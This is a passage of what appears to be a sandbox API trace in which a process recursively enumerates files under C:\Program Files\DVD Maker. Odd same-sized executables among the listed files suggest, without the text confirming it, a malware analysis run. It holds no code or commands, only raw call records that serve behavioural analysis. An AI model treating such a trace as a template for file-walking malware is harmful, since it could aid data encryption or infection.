lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0237.143] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0237.143] GetProcessHeap () returned 0x560000 [0237.143] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b888a8 | out: hHeap=0x560000) returned 1 [0237.143] FindNextFileW (in: hFindFile=0x2b74988, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0237.143] FindClose (in: hFindFile=0x2b74988 | out: hFindFile=0x2b74988) returned 1 [0237.146] GetProcessHeap () returned 0x560000 [0237.146] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b64198 | out: hHeap=0x560000) returned 1 [0237.146] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0237.146] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa2b83ef0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa2b83ef0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0237.147] GetProcessHeap () returned 0x560000 [0237.147] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b64198 [0237.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa2b83ef0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa2b83ef0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0237.172] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa2b83ef0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa2b83ef0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.172] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9e35720, ftCreationTime.dwHighDateTime=0x1d58d07, ftLastAccessTime.dwLowDateTime=0x1a6dad90, ftLastAccessTime.dwHighDateTime=0x1d56567, ftLastWriteTime.dwLowDateTime=0x1a6dad90, ftLastWriteTime.dwHighDateTime=0x1d56567, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="afr38.exe", cAlternateFileName="")) returned 1 [0237.173] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0237.173] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0237.174] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0237.174] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0237.174] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0237.183] GetProcessHeap () returned 0x560000 [0237.183] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0237.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0237.186] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.186] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0237.186] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0237.187] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0237.187] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0237.187] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0237.187] GetProcessHeap () returned 0x560000 [0237.187] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0237.187] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0237.188] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0237.188] ResetEvent (hEvent=0x118) returned 1 [0237.188] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0237.321] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1892ae20, ftCreationTime.dwHighDateTime=0x1d5aa96, ftLastAccessTime.dwLowDateTime=0x6ac8df70, ftLastAccessTime.dwHighDateTime=0x1d5769d, ftLastWriteTime.dwLowDateTime=0x6ac8df70, ftLastWriteTime.dwHighDateTime=0x1d5769d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="isspos.exe", cAlternateFileName="")) returned 1 [0237.321] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0237.321] ResetEvent (hEvent=0x118) returned 1 [0237.321] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0237.525] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0237.525] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0237.525] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0237.526] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0237.526] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b5f410, ftCreationTime.dwHighDateTime=0x1d53a6c, ftLastAccessTime.dwLowDateTime=0xc2ab4450, ftLastAccessTime.dwHighDateTime=0x1d5c1f5, ftLastWriteTime.dwLowDateTime=0xc2ab4450, ftLastWriteTime.dwHighDateTime=0x1d5c1f5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="referrals-pamela-algebra.exe", cAlternateFileName="REFERR~1.EXE")) returned 1 [0237.527] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0237.527] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0237.527] ResetEvent (hEvent=0x118) returned 1 [0237.528] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0237.536] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0237.537] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0237.537] GetProcessHeap () returned 0x560000 [0237.537] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b888a8 [0237.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd48 [0237.537] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.538] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0237.538] ResetEvent (hEvent=0x118) returned 1 [0237.538] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0237.545] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0237.545] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0237.545] ResetEvent (hEvent=0x118) returned 1 [0237.545] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0237.550] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1 [0237.551] GetProcessHeap () returned 0x560000 [0237.551] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0237.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0237.728] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.730] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0237.731] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0237.731] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0237.731] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0237.732] FindNextFileW (in: 